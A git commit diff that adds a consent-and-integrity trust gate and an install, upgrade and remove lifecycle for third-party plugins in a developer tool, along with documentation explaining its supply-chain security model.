ADR-1244 Phase 4 (D5 trust + D6 upgrade/compat). capability-trust.cjs (disclosure/consent, strict_known_registries, engines+compatVersions, reserved namespace) + capability-lifecycle.cjs (install/upgrade/remove/reconcile; ledger-as-commit-point _pending intent; atomic stage-then-swap; surgical marker-isolated shared-edit strip; owner-token lock) + capability-source promote/skipEnginesGate seams + loader pending-skip + config keys. No sandbox re-derived (consent+integrity+reversibility). 6 Codex adversarial rounds + /security-review (no HIGH) + /code-review; gsd-test green both platforms; CI green. Phase 5 (#1434) wires the CLI dispatch. Closes #1433. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
Tom Boucher
5
.changeset/lively-orcas-bark.md
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5
.changeset/lively-orcas-bark.md
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@@ -0,0 +1,5 @@
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---
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type: Security
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pr: 1449
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---
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**Third-party capability trust gate (ADR-1244 Phase 4)** — installing a capability from a git/npm/tarball/local source now discloses every executable surface it ships (hooks, command modules, MCP servers, with the actual commands) and requires explicit consent before anything is promoted; integrity (sha512) and `engines.gsd` are verified before any code is staged, install never executes capability code, and reserved `gsd-`/`gsd-core-`/`anthropic-` namespaces are refused. `capabilities.strict_known_registries` gates which sources may be installed (`[]` = local-only lockdown; host-based allowlist otherwise) and `capabilities.auto_update` is off by default, re-prompting whenever a new version's executable set changes. An install ledger makes `remove` surgical (strips only the capability's own shared-config entries, preserving your hand-edits) and `update` an atomic, crash-safe stage-then-swap. (#1449)
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2
.gitignore
vendored
2
.gitignore
vendored
@@ -70,6 +70,8 @@ build/
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/gsd-core/bin/lib/capability-loader.cjs
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/gsd-core/bin/lib/capability-source.cjs
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/gsd-core/bin/lib/capability-ledger.cjs
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/gsd-core/bin/lib/capability-trust.cjs
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/gsd-core/bin/lib/capability-lifecycle.cjs
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/gsd-core/bin/lib/markdown-sectionizer.cjs
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/gsd-core/bin/lib/resolution.cjs
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/gsd-core/bin/lib/research-store.cjs
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@@ -176,7 +176,7 @@ Generated central manifest projecting all co-located Capability declarations int
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ADR-857 phase 3b seam that merges capability-declared config slices into the `loadConfig` return value. Implemented in `src/federated-config.cts` → `gsd-core/bin/lib/federated-config.cjs`. Exports `mergeFederatedConfig({ configSchema, isCentralKey, userConfig }) → { values, validKeys, warnings }`. Rules: central-schema keys are skipped with a `pending-migration` warning; malformed slices are skipped with a warning (never throws); valid federated keys (absent from the central schema) resolve to the user-supplied value (if type-matches) or the slice default. Object writes are guarded against prototype pollution with inline literal `__proto__`/`constructor`/`prototype` key checks. ADR-857 phase 6 made the channel live for migrated Capability keys: `config-schema.cjs` exposes `isCentralConfigKey()` for central ownership and `isValidConfigKey()` accepts central + runtime + dynamic + Capability-owned registry keys. `loadConfig` exposes `_setFederatedRegistryForTests`/`_resetFederatedRegistryForTests` seams for injecting a synthetic registry in tests.
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### Capability Registry Overlay
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Runtime seam (`gsd-core/bin/lib/capability-loader.cjs`, ADR-1244 D2) that composes the frozen first-party Capability Registry (`capability-registry.cjs`) with a validated installed overlay of third-party capability manifests discovered at load time. Install roots are global (`$GSD_HOME/.gsd/capabilities/<id>/capability.json`, where `GSD_HOME` defaults to `~`) and project (`<projectRoot>/.gsd/capabilities/<id>/capability.json`). Primary interface: `loadRegistry({ includeInstalled }) → registry` — when `includeInstalled` is true the overlay is merged via the canonical `buildRegistry` so all derived views (bySkill, byAgent, byLoopPoint, configKeys) cover first-party and overlay entries identically. First-party always wins: any overlay entry whose id, owned skill/agent stem, or federated config key collides with first-party, or whose id uses a reserved `gsd-`/`gsd-core-`/`anthropic-` prefix, is rejected at load time. Load-time re-gate: an overlay failing schema validation or whose `engines.gsd` semver range does not satisfy the running GSD version is skipped with a warning and never crashes the load loop. Per-hook-kind policy: a skipped capability that declared a `gate`-kind hook fails CLOSED (the loop resolver injects a blocking gate); skipped `step` or `contribution` capabilities skip open. Consumers wired to the overlay-aware registry: `config-loader.cjs`, `config-schema.cjs`, `capability-state.cjs`, `loop-resolver.cjs`.
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Runtime seam (`gsd-core/bin/lib/capability-loader.cjs`, ADR-1244 D2) that composes the frozen first-party Capability Registry (`capability-registry.cjs`) with a validated installed overlay of third-party capability manifests discovered at load time. Install roots are global (`$GSD_HOME/.gsd/capabilities/<id>/capability.json`, where `GSD_HOME` defaults to `~`) and project (`<projectRoot>/.gsd/capabilities/<id>/capability.json`). Primary interface: `loadRegistry({ includeInstalled }) → registry` — when `includeInstalled` is true the overlay is merged via the canonical `buildRegistry` so all derived views (bySkill, byAgent, byLoopPoint, configKeys) cover first-party and overlay entries identically. First-party always wins: any overlay entry whose id, owned skill/agent stem, or federated config key collides with first-party, or whose id uses a reserved `gsd-`/`gsd-core-`/`anthropic-` prefix, is rejected at load time. Load-time re-gate: an overlay failing schema validation or whose `engines.gsd` semver range does not satisfy the running GSD version is skipped with a warning and never crashes the load loop. Per-hook-kind policy: a skipped capability that declared a `gate`-kind hook fails CLOSED (the loop resolver injects a blocking gate); skipped `step` or `contribution` capabilities skip open. A capability dir whose co-located ledger entry carries an in-flight `_pending` intent (a crashed/uncommitted install or upgrade, ADR-1244 Phase 4) is skipped OPEN (never activated until reconciliation commits or rolls it back). Consumers wired to the overlay-aware registry: `config-loader.cjs`, `config-schema.cjs`, `capability-state.cjs`, `loop-resolver.cjs`.
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### Capability Validator
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Shared conformance validator (`gsd-core/bin/lib/capability-validator.cjs`, ADR-1244 D2) extracted from `scripts/gen-capability-registry.cjs` so the build-time generator and the runtime overlay loader share one validator implementation. Exports the same `validateCapability(manifest)` surface consumed by both the generator (build-time) and `capability-loader.cjs` (runtime). Generative-parity is CI-guarded: a drift between the generator's validation logic and the extracted module is a hard failure. Callers that previously inlined validation against the generator's internal helpers are migrated to import this module directly. Source of truth: `gsd-core/bin/lib/capability-validator.cjs`.
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@@ -187,6 +187,12 @@ ADR-1244 D3 fetch-and-stage seam (`gsd-core/bin/lib/capability-source.cjs`). Pri
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### Capability Ledger
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ADR-1244 D4 per-runtime install manifest (`gsd-core/bin/lib/capability-ledger.cjs`). Leaf module (only `node:fs`/`node:path` plus `shell-command-projection`'s `platformWriteSync`). Records `{ id, version, source, integrity, files[], sharedEdits[{file,marker}] }` per installed capability in `.gsd-capabilities.json` at the runtime config dir root. Exports: `readLedger` (structural-validated, never throws), `writeLedger` (atomic via `platformWriteSync`), `recordInstall` (idempotent, prototype-pollution-guarded), `removeEntry`, and `reconcile` (reports orphans whose `files[]` are missing on disk; hardened against non-string/`..` members; never mutates). Serves as the atomic commit point for Phase-4 upgrade/remove and the reconciliation basis for detecting stale entries after out-of-band deletions.
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### Capability Trust Gate
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ADR-1244 Phase 4 (D5) PURE policy module (`gsd-core/bin/lib/capability-trust.cjs`). Computes *what* a capability would do and *whether* policy permits it; performs no mutation and no I/O beyond existence-checking declared artifacts. Exports: `discloseExecutableSurfaces(manifest, stagedDir?)` (enumerates the three executable surfaces — `hooks`, command modules, `mcpServers` — and flags `hasExecutable`); `evaluateInstallTrust(args)` (composes source policy + reserved-namespace + engines gate + disclosure into `{ allowed, requiresConsent, disclosure, engines, blockReasons }`); `evaluateSourceAllowed(parsed, strictKnownRegistries)` enforcing `capabilities.strict_known_registries` (unset/null → permissive-with-consent; `[]` → block all external; non-empty → host-based allowlist, never substring); `checkEngines(manifest, hostVersion)` (engines.gsd hard gate via `semverSatisfies` + `compatVersions` graceful-downgrade picking the newest working version); `executableSetChanged(old, new)` (auto-update re-consent trigger); `checkReservedNamespace` (`gsd-`/`gsd-core-`/`anthropic-`). The barrier is consent + integrity + reversibility, NOT a sandbox — see `docs/explanation/the-capability-trust-model.md`.
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### Capability Lifecycle
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ADR-1244 Phase 4 (D5+D6) orchestration seam (`gsd-core/bin/lib/capability-lifecycle.cjs`) composing the source resolver, ledger, and trust gate into the mutating operations. Exports: `installCapability` (pre-fetch source gate → resolve copy-only with `promote:false` → trust verdict → promote + apply marker-stamped shared edits → **ledger commit**; nothing written on block/abort), `upgradeCapability` (atomic stage-then-swap: old set aside, new swapped in, shared edits re-derived, **ledger committed**, backup dropped; re-prompts when the executable set changed), `removeCapability` (strip only `_gsdCapability`-marked shared-config entries — user hand-edits preserved — delete exactly the ledger-recorded files, then drop the entry; `CAPABILITY_DATA` preserved unless `removeData`), `reconcileCapabilities` (crash recovery driven by the ledger's `_pending {kind,backupName,sharedFiles}` INTENT — not a version comparison: roll an uncommitted upgrade back by restoring the backup, an uncommitted fresh install away entirely, and re-sync shared config from the winning bundle, guaranteeing no half-state), plus `applyCapabilitySharedEdits`/`stripCapabilitySharedEdits` (marker-isolated JSON edits, prototype-pollution-guarded). All four mutating ops + reconcile take a cross-process lock (`.gsd/capabilities/.lock`, atomic stale-steal) so a concurrent reconcile can't clear a live intent. Capability code never executes during any operation. The source resolver's `promote:false`/`skipEnginesGate` options are the seams that let this module own the swap/commit ordering and the engines gate (with `compatVersions` downgrade hint).
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### Loop Extension Point
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A named, stable site on a host loop step (per-step `pre`/`post` plus per-wave in Execute; 12 total) where Capabilities register hooks. Three hook kinds: `step` (runs as its own sequenced unit), `contribution` (injects into the core step's prompt/context), and `gate` (checks and optionally blocks via a declared `blocking` flag). Each hook declares the artifacts it produces and consumes; hook order is derived by topological sort of that produces/consumes graph (capability-id tiebreak), which also defines data flow — file-artifact based, surviving `/clear` and fresh executor contexts. Hooks are surfaced by runtime resolution with concrete projection: the workflow calls a query that resolves the active hooks and returns fully-rendered, ordered markdown for the executor. Failure is default-resilient — a non-gate hook that errors is skipped with a warning; a hook may opt into `onError: halt`. Part of the Capability system. ADR-857 phase 3c ships the registry-consuming query layer: `gsd-core/bin/lib/loop-resolver.cjs` exposes `resolveLoopHooks({ point, registry, config })` (pure, no I/O), `renderLoopHooks(resolved)` (pure markdown renderer), and `cmdLoopRenderHooks(cwd, point, raw, opts)` (I/O entry point); activated via `gsd-tools loop render-hooks <point>` which emits `{ point, activeHooks[], rendered }`. Activation is driven by `when` (dotted config key resolved against `loadConfig`), with inline literal `__proto__`/`constructor`/`prototype` prototype-pollution guard. The first phase-6 cutovers wiring workflows to this query have landed — ui-phase at `plan:pre` and ui-review at `verify:post` (in `plan-phase.md`/`autonomous.md`); further per-feature cutovers are ongoing.
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@@ -550,6 +550,27 @@ Setting the parent object (`agent_skills_security`) directly is not supported; u
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---
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## Capability Trust (`capabilities.*`)
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Policy for installing and updating third-party capabilities (ADR-1244). These keys govern the trust gate; they have no effect if you only ever use the native first-party capabilities shipped with GSD. They are **policy inputs** read by the `gsd capability` command flow, which passes the resulting decision into the capability lifecycle — `strict_known_registries` gates whether a source may be installed at all; `auto_update` is consulted by the `update`/`outdated` flow (which always re-prompts when a new version's executable surface set changes). The full rationale — including why there is no sandbox — is in [The capability trust model](explanation/the-capability-trust-model.md).
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| Setting | Type | Default | Description |
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|---------|------|---------|-------------|
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| `capabilities.strict_known_registries` | array \| null | `null` | Allowlist gating **which sources** third-party capabilities may be installed from. `null` (default) is permissive: external installs (git / npm / tarball) are allowed and each still passes the consent + integrity gate. `[]` (explicit empty array) is lockdown: **all external installs are blocked** — only local-filesystem installs are permitted (managed/enterprise mode). A non-empty list is a **host-based allowlist**: only sources whose host matches an entry (exact host or a subdomain of it — `github.com` matches `api.github.com` but never `evilgithub.com`) are permitted; add the literal token `npm` to permit the npm source kind. Local installs are never "external" and are always allowed. |
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| `capabilities.auto_update` | boolean | `false` | Whether installed third-party capabilities may auto-update. **Off by default.** Even when enabled, GSD re-prompts for explicit consent whenever a new version's executable surface set (hooks / command modules / MCP servers) differs from the installed one — the consent you gave was for a specific surface, not a blank cheque. |
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```bash
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# Lock the machine down to local-only capability installs:
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gsd config-set capabilities.strict_known_registries '[]'
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# Allow only your org's GitHub + npm:
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gsd config-set capabilities.strict_known_registries '["github.com", "npm"]'
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```
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> **Security note:** `strict_known_registries` matching is **host-based, not substring** — a lookalike host like `evilgithub.com` is rejected even when `github.com` is allowed. `integrity` (sha512) pins only the top-level fetched artifact, not an npm package's transitive dependency tree; see the trust-model explanation for that boundary.
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---
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## Feature Flags
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Toggle optional capabilities via the `features.*` config namespace. Feature flags default to `false` (disabled) — enabling a flag opts into new behavior without affecting existing workflows.
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@@ -280,10 +280,12 @@
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"audit.cjs",
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"capability-activation.cjs",
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"capability-ledger.cjs",
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"capability-lifecycle.cjs",
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"capability-loader.cjs",
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"capability-registry.cjs",
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"capability-source.cjs",
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"capability-state.cjs",
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"capability-trust.cjs",
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"capability-validator.cjs",
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"capability-writer.cjs",
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"check-command-router.cjs",
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@@ -391,10 +391,12 @@ Full listing: `gsd-core/bin/lib/*.cjs`.
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| `audit.cjs` | Audit dispatch, audit open sessions, audit storage helpers |
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| `capability-activation.cjs` | Capability activation resolver shared by config validation and capability-state consumers — resolves registry-owned config keys from raw runtime config without re-centralizing migrated settings |
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| `capability-ledger.cjs` | Per-runtime install ledger (ADR-1244 D4) — atomic read/write of `.gsd-capabilities.json` recording `{ id, version, source, integrity, files[], sharedEdits[] }` per installed capability; exports `readLedger`/`writeLedger`/`recordInstall`/`removeEntry`/`reconcile` (orphan detection); atomic commit point and reconciliation basis for Phase-4 upgrade/remove |
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| `capability-lifecycle.cjs` | Capability lifecycle orchestration (ADR-1244 Phase 4, D5+D6) — composes the source resolver + ledger + trust gate into `installCapability`/`upgradeCapability`/`removeCapability`/`reconcileCapabilities`; ledger write is the commit point; upgrade is atomic stage-then-swap (old set aside, new swapped in, ledger committed, backup dropped) with deterministic crash recovery (`reconcileCapabilities` rolls forward/back to a fully-old-or-fully-new state); remove surgically strips only marker-stamped (`_gsdCapability`) shared-config entries, preserving user hand-edits; never executes capability code |
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| `capability-loader.cjs` | Runtime Capability Registry overlay (ADR-1244 D2) — `loadRegistry({ includeInstalled })` composes the frozen first-party registry with a validated installed overlay read from `$GSD_HOME/.gsd/capabilities/<id>/` (global) and `<projectRoot>/.gsd/capabilities/<id>/` (project); first-party-wins on id/skill/agent/config collisions, reserved-namespace rejection, load-time `engines.gsd` re-gate (skip-with-warning), and gate-kind fail-closed via `_overlay.blockedGates`; composes through the canonical `buildRegistry` so derived views never drift |
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| `capability-registry.cjs` | Generated central Capability Registry — role-partitioned index of all co-located capability declarations (`capabilities/<id>/capability.json`); emitted by `scripts/gen-capability-registry.cjs --write` (ADR-894 §5) |
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| `capability-source.cjs` | Capability source resolver (ADR-1244 D3) — `resolveCapabilitySource(spec, opts)` fetches and stages a capability from local path, git (https/ssh/git transports only), npm pack (no lifecycle scripts), tarball (sha512 integrity verify before extraction), or registry (stub); tar-slip/symlink rejection; atomic staging to `$GSD_HOME/.gsd/capabilities/<id>/`; no capability code executes during install |
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| `capability-state.cjs` | Unified capability-state resolver (ADR-857 phase 4b/6) — composes install profile, runtime surface, and config activation into one per-capability view consumed by workflow hook rendering; exports pure `resolveCapabilityState`, reusable `resolveCapabilityRuntimeState`, and I/O handler `cmdCapabilityState`; command surface: `gsd-tools capability state [--config-dir <path>]` emitting `{ runtimeConfigDir, capabilities[] }` |
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| `capability-trust.cjs` | Capability trust gate (ADR-1244 Phase 4, D5 + compatibility half of D6) — PURE policy module: `discloseExecutableSurfaces` (hooks/command modules/mcpServers), `evaluateInstallTrust` (compose source policy + reserved-namespace + engines gate + disclosure → allowed/requiresConsent/blockReasons), `evaluateSourceAllowed` (`strict_known_registries`: permissive/lockdown/host-allowlist), `checkEngines` (engines.gsd hard gate + `compatVersions` graceful-downgrade), `executableSetChanged` (auto-update re-consent trigger); no sandbox — see `docs/explanation/the-capability-trust-model.md` |
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| `capability-validator.cjs` | Shared runtime-callable capability validator (ADR-1244 D2) — extracted from `scripts/gen-capability-registry.cjs` so the build-time generator and the runtime overlay loader share ONE validation implementation (generative-parity guarded); exports `validateCapability`/`validateCrossCapability`/`validateVersionEnvelope`/`validateConsumesGlobal`/… plus the closed-vocabulary sets and `SEMVER_RE` |
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| `capability-writer.cjs` | Capability State Writer (ADR-1213) — write-side inverse of the resolver; projects desired per-capability enabled/gates onto surface + config substrates, then re-resolves (assert-and-report); exports `setCapabilityState` and I/O handler `cmdCapabilitySet`; command surface: `gsd-tools capability set <id> [--on\|--off] [--gate <key>=<true\|false>]` |
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| `check-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools check` |
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@@ -65,6 +65,7 @@ Language versions: [English](README.md) · [Português (pt-BR)](pt-BR/README.md)
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- [The phase loop](explanation/the-phase-loop.md) — design rationale for the Discuss → Plan → Execute → Verify → Ship cycle
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- [Multi-agent orchestration](explanation/multi-agent-orchestration.md) — how subagents are spawned, scoped, and coordinated
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- [Security model](explanation/security-model.md) — trust boundaries, permissions, and safe automation
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- [The capability trust model](explanation/the-capability-trust-model.md) — why third-party capabilities are gated by consent + integrity + reversibility, not a sandbox
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- [Architecture](ARCHITECTURE.md) — system architecture, agent model, and data flow
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- [Discuss modes](workflow-discuss-mode.md) — assumptions mode vs interview mode for `/gsd-discuss-phase`
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- [Context monitoring](context-monitor.md) — context window monitoring hook architecture
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89
docs/explanation/the-capability-trust-model.md
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89
docs/explanation/the-capability-trust-model.md
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@@ -0,0 +1,89 @@
|
||||
# The capability trust model
|
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|
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> **Status:** Implemented in ADR-1244 Phase 4 (`gsd-core/bin/lib/capability-trust.cjs`,
|
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> `capability-lifecycle.cjs`). This document is the *honest* explanation of why GSD trusts
|
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> third-party capabilities the way it does — including what it does **not** protect against.
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GSD capabilities can ship the same executable artifacts GSD itself ships — hook scripts,
|
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command modules, and (for third parties) MCP server declarations. That is full first-party
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parity, chosen deliberately (epic #1244, alternative 2). Parity means a third-party
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capability is, in the limit, **arbitrary code you have invited into your agent runtime**.
|
||||
This page explains the barrier GSD puts in front of that invitation, and why the barrier is
|
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*consent + integrity + reversibility* rather than a sandbox.
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## Why there is no sandbox (Ask #1)
|
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|
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ADR-857 D8 originally earned "no sandbox" on a *declarative-only* premise: capabilities were
|
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data, not code. This feature reverses that premise, so the justification must be re-derived on
|
||||
grounds that survive third-party **code execution**. It is:
|
||||
|
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**GSD has no process boundary to interpose.** A capability's executable surfaces all run inside
|
||||
the host agent runtime's own trust context:
|
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|
||||
- **hook scripts** run as the runtime's configured hook commands (your shell, your
|
||||
permissions);
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- **command modules** are `require()`'d directly into the GSD CLI's own Node process;
|
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- **MCP servers** are spawned by the host runtime, not by GSD.
|
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|
||||
GSD never forks a sandboxed child to run any of this. It *could* not meaningfully do so: the
|
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runtime loads hooks and MCP servers itself, and a command module is in-process by definition.
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A `sandboxTier` enum on capabilities that GSD does not actually enforce would be security
|
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theater — worse than nothing, because it implies a boundary that isn't there.
|
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|
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The runtime descriptor's existing `sandboxTier` axis (`none` | `codex-agent-sandbox`,
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`runtime-config-adapter-registry.cts`) is the **runtime's own** sandbox over everything it
|
||||
executes — capability code included. That sandbox keeps applying. But it belongs to the
|
||||
runtime (e.g. Codex's `workspace-write`), not to GSD, and GSD does not extend or simulate it.
|
||||
|
||||
So the barrier GSD owns is the same posture the Obsidian and VS Code marketplaces settled on
|
||||
after their own supply-chain incidents:
|
||||
|
||||
1. **No execution at install.** Staging is copy-only. `npm` sources use `--ignore-scripts`;
|
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there is no `postinstall`. Installing a capability never runs its code.
|
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2. **Integrity before extraction.** Tarball sources verify a `sha512` digest over the fetched
|
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bytes *before* anything is written to the install root; a mismatch aborts.
|
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3. **Disclosure + explicit consent.** Every executable surface a capability declares is
|
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disclosed at install, and installing one that ships *any* executable surface requires
|
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explicit consent. Declining aborts cleanly, writing nothing.
|
||||
4. **Namespace reservation.** Third parties cannot claim the `gsd-`, `gsd-core-`, or
|
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`anthropic-` id prefixes, so a hostile capability cannot impersonate a first-party one.
|
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5. **Reversibility.** The ledger records exactly what each install wrote; `remove` deletes
|
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exactly those files and surgically strips exactly the shared-config entries the capability
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added, touching nothing the user owns.
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|
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Consent is meaningful precisely because (1)–(2) guarantee nothing has run *yet* when you are
|
||||
asked, and (4)–(5) guarantee you can fully undo it. That is the trade GSD makes instead of a
|
||||
sandbox it cannot honestly provide.
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## `strictKnownRegistries` default (Ask #4a)
|
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|
||||
`capabilities.strict_known_registries` gates **install itself**, not merely auto-update.
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||||
| Value | Meaning |
|
||||
| --- | --- |
|
||||
| unset / `null` *(default)* | External installs (git / npm / tarball / registry) are allowed, each still passing the consent + integrity gate. Local filesystem installs always allowed. |
|
||||
| `[]` *(explicit empty array)* | **Blocks all external installs** — managed/enterprise lockdown. Local installs only. |
|
||||
| `["github.com", "registry.example.com"]` | Allowlist — only sources whose host matches an entry (exact host or a subdomain of it) are permitted. |
|
||||
|
||||
The default is **permissive-with-consent**, not Obsidian-style restricted-by-default. The epic
|
||||
deliberately chose decentralized URL/git distribution over a curated-registry gate (alternative
|
||||
3), so the consent prompt is the default barrier and full lockdown is one config key away. The
|
||||
allowlist match is **host-based**, not substring: `github.com` does not match
|
||||
`evilgithub.com`.
|
||||
|
||||
## The npm transitive-dependency boundary (Ask #4b)
|
||||
|
||||
`integrity` (sha512) pins **only the top-level fetched artifact** — the tarball, or the output
|
||||
of `npm pack`. It does **not** pin the resolved dependency graph.
|
||||
|
||||
`--ignore-scripts` and copy-only staging stop *install-time* execution (no `postinstall`). But
|
||||
when a capability's command module is later `require()`'d, Node resolves and executes that
|
||||
module's **transitive dependency tree**, and sha512 says nothing about those packages — they
|
||||
can be mutable or compromised independently of the pinned top artifact. This is exactly the
|
||||
Wiz / VS Code supply-chain lesson.
|
||||
|
||||
For the `npm` source kind, therefore: a green integrity check means "the package tarball is the
|
||||
one you pinned," **not** "every line of code that will run is the code you reviewed." Authors
|
||||
who want a stronger guarantee should vendor their dependencies into the capability or ship a
|
||||
lockfile; the consent prompt always discloses when a capability ships command modules, which is
|
||||
the surface through which transitive code reaches your process.
|
||||
@@ -37,7 +37,7 @@ gsd capability remove <id>
|
||||
GSD uses the **ledger** — a per-runtime record written at install time (for example, `~/.claude/.gsd-capabilities.json`) — as the authoritative list of what the install owns. Removal acts precisely on that record:
|
||||
|
||||
- **Owned files** — every file the capability wrote at install (skills, agents, referenced assets) is deleted.
|
||||
- **Shared configuration fragments** — entries the capability injected into shared files such as `settings.json` (hooks) and `hooks.json` (MCP server registrations) are stripped. Only the capability's own entries are removed; no other capability's hooks or MCP server entries are touched.
|
||||
- **Shared configuration fragments** — entries the capability injected into shared files such as `settings.json` (hooks, MCP server registrations) are stripped. Each capability-added entry is stamped at install with a `_gsdCapability` marker naming the owning capability, and removal strips **only** entries carrying that marker. No other capability's entries — and nothing you added by hand — is touched: if you hand-edited `settings.json` between install and remove (added your own hook, your own MCP server, or any other field), those edits are preserved exactly.
|
||||
- **Federated config keys** — configuration keys that belong to the capability's declared config slice are dropped from the merged config.
|
||||
|
||||
### What is NOT removed
|
||||
@@ -108,4 +108,4 @@ gsd capability remove <id> --scope project
|
||||
- [How to version and upgrade a capability](version-a-capability.md)
|
||||
- [Develop a Capability for GSD 1.5+](develop-a-capability.md)
|
||||
- [Turn a capability off (and keep it off)](turn-a-capability-off.md)
|
||||
- [Trust model explanation](../adr/1244-capability-ecosystem.md#d5----trust-model-artifact-parity-is-full-trust-posture-is-tiered)
|
||||
- [The capability trust model](../explanation/the-capability-trust-model.md) — why removal is surgical and reversible
|
||||
|
||||
@@ -44,19 +44,19 @@ When you do raise the lower bound:
|
||||
|
||||
### Maintain `compatVersions`
|
||||
|
||||
`compatVersions` is a capability-version → minimum-GSD-version table that lets GSD offer older consumers a downgrade instead of a hard block:
|
||||
`compatVersions` is a capability-version → GSD-version-**range** table that lets GSD offer older consumers a downgrade instead of a hard block. Each value is a semver range (the same grammar as `engines.gsd`), evaluated against the running GSD version:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"engines": { "gsd": ">=1.7.0 <3.0.0" },
|
||||
"compatVersions": {
|
||||
"1.2.0": "1.6.0"
|
||||
"1.2.0": ">=1.6.0 <1.7.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This entry tells GSD: "version 1.2.0 of this capability requires at least GSD 1.6.0." When a consumer's GSD is older than 1.7.0, GSD uses `compatVersions` to offer them version 1.2.0 instead of failing outright.
|
||||
This entry tells GSD: "version 1.2.0 of this capability is compatible with GSD versions `>=1.6.0 <1.7.0`." When a consumer's GSD is older than the current `engines.gsd` floor (1.7.0), GSD consults `compatVersions`, picks the **newest** capability version whose range the host satisfies, and offers that instead of failing outright.
|
||||
|
||||
Add a new entry **only when you change `engines.gsd`** — that is the only moment an older GSD version and a specific capability version become correlated. A `compatVersions` entry is not meaningful for a capability distributed as a bare tarball URL (a tarball exposes a single version and cannot be auto-selected from a table); it is only actionable for sources that enumerate versions: git tags, a registry, or npm.
|
||||
|
||||
|
||||
@@ -42,6 +42,8 @@ export default tseslint.config(
|
||||
'gsd-core/bin/lib/capability-loader.cjs',
|
||||
'gsd-core/bin/lib/capability-source.cjs',
|
||||
'gsd-core/bin/lib/capability-ledger.cjs',
|
||||
'gsd-core/bin/lib/capability-trust.cjs',
|
||||
'gsd-core/bin/lib/capability-lifecycle.cjs',
|
||||
'gsd-core/bin/lib/resolution.cjs',
|
||||
'gsd-core/bin/lib/plan-drift-guard.cjs',
|
||||
'gsd-core/bin/lib/cli-exit.cjs',
|
||||
|
||||
@@ -93,5 +93,9 @@
|
||||
"plan_review": {
|
||||
"source_grounding": true,
|
||||
"source_grounding_authority": "grep"
|
||||
},
|
||||
"capabilities": {
|
||||
"strict_known_registries": null,
|
||||
"auto_update": false
|
||||
}
|
||||
}
|
||||
|
||||
@@ -91,7 +91,9 @@
|
||||
"model_policy.high",
|
||||
"model_policy.medium",
|
||||
"model_policy.low",
|
||||
"agent_skills_security.trusted_global_roots"
|
||||
"agent_skills_security.trusted_global_roots",
|
||||
"capabilities.strict_known_registries",
|
||||
"capabilities.auto_update"
|
||||
],
|
||||
"runtimeStateKeys": [
|
||||
"workflow._auto_chain_active"
|
||||
|
||||
1004
src/capability-lifecycle.cts
Normal file
1004
src/capability-lifecycle.cts
Normal file
File diff suppressed because it is too large
Load Diff
@@ -159,6 +159,27 @@ function overlayRoots(cwd: string, gsdHome?: string): Array<{ dir: string; scope
|
||||
return roots;
|
||||
}
|
||||
|
||||
/**
|
||||
* Read the per-scope ledger co-located with an overlay root (the root is `<scope>/.gsd/capabilities`,
|
||||
* so its ledger is `<scope>/.gsd-capabilities.json`) and return the ids carrying an in-flight
|
||||
* `_pending` intent — i.e. crashed/uncommitted installs or upgrades that must not be activated until
|
||||
* reconciliation completes. Never throws: a missing/invalid ledger yields an empty set.
|
||||
*/
|
||||
function pendingOverlayIds(rootDir: string): Set<string> {
|
||||
const out = new Set<string>();
|
||||
try {
|
||||
const ledgerPath = path.join(rootDir, '..', '..', '.gsd-capabilities.json');
|
||||
const parsed: unknown = JSON.parse(fs.readFileSync(ledgerPath, 'utf8'));
|
||||
if (!parsed || typeof parsed !== 'object') return out;
|
||||
const entries = (parsed as Record<string, unknown>)['entries'];
|
||||
if (!entries || typeof entries !== 'object' || Array.isArray(entries)) return out;
|
||||
for (const [id, entry] of Object.entries(entries as Record<string, unknown>)) {
|
||||
if (entry && typeof entry === 'object' && (entry as Record<string, unknown>)['_pending']) out.add(id);
|
||||
}
|
||||
} catch { /* missing/invalid ledger — nothing pending */ }
|
||||
return out;
|
||||
}
|
||||
|
||||
/** Shallow-attach overlay diagnostics WITHOUT mutating the frozen registry module. */
|
||||
function withOverlayMeta(reg: Registry, meta: OverlayMeta): Registry {
|
||||
return Object.assign({}, reg, { _overlay: meta });
|
||||
@@ -240,12 +261,22 @@ export function loadRegistry(options: LoadRegistryOptions = {}): Registry {
|
||||
} catch {
|
||||
continue; // no overlay dir at this scope — normal
|
||||
}
|
||||
// Ids whose ledger entry carries an in-flight `_pending` intent (a crashed/uncommitted
|
||||
// install or upgrade). They are NOT yet committed, so they must not be activated — reconcile
|
||||
// will roll them forward or back. Fail OPEN (skip without a gate block): an uncommitted gate
|
||||
// is not a real installed gate. See capability-lifecycle.cts (ADR-1244 Phase 4).
|
||||
const pendingIds = pendingOverlayIds(root.dir);
|
||||
for (const ent of entries) {
|
||||
if (!ent.isDirectory()) continue;
|
||||
const id = ent.name;
|
||||
const capDir = path.join(root.dir, id);
|
||||
const manifestPath = path.join(capDir, 'capability.json');
|
||||
|
||||
if (pendingIds.has(id)) {
|
||||
warnings.push({ id, scope: root.scope, reason: 'install/upgrade in progress (uncommitted) — deferred until reconciliation' });
|
||||
continue;
|
||||
}
|
||||
|
||||
let cap: CapManifest;
|
||||
try {
|
||||
cap = JSON.parse(fs.readFileSync(manifestPath, 'utf8')) as CapManifest;
|
||||
|
||||
@@ -87,6 +87,21 @@ interface ResolveOptions {
|
||||
/** Expected integrity string (`sha512-<base64>`). When provided, integrity is verified
|
||||
* before any bytes are committed to the final location. */
|
||||
integrity?: string;
|
||||
/**
|
||||
* When false, stop after validation and return the staging dir WITHOUT promoting it to the
|
||||
* final capabilities location. The caller then owns the atomic stage-then-swap + ledger
|
||||
* commit ordering (ADR-1244 Phase 4 / D6 upgrade path). Defaults to true (promote in place),
|
||||
* preserving the original install behavior.
|
||||
*/
|
||||
promote?: boolean;
|
||||
/**
|
||||
* When true, SKIP the resolver's `engines.gsd` hard-throw during staging. The caller becomes
|
||||
* responsible for the engines gate. Used by capability-lifecycle so its own `checkEngines` can
|
||||
* gate the install AND surface a `compatVersions` downgrade hint (the resolver throw would
|
||||
* pre-empt that). Staging remains copy-only and is never promoted by the lifecycle when the
|
||||
* engines check fails, so nothing incompatible is ever activated. Defaults to false (throw).
|
||||
*/
|
||||
skipEnginesGate?: boolean;
|
||||
/** Injectable exec overrides for tests — keys match the shell-seam functions. */
|
||||
execOverrides?: {
|
||||
git?: (args: string[], opts?: { cwd?: string; timeout?: number }) => SpawnResult;
|
||||
@@ -302,8 +317,11 @@ function stageValidated(opts: {
|
||||
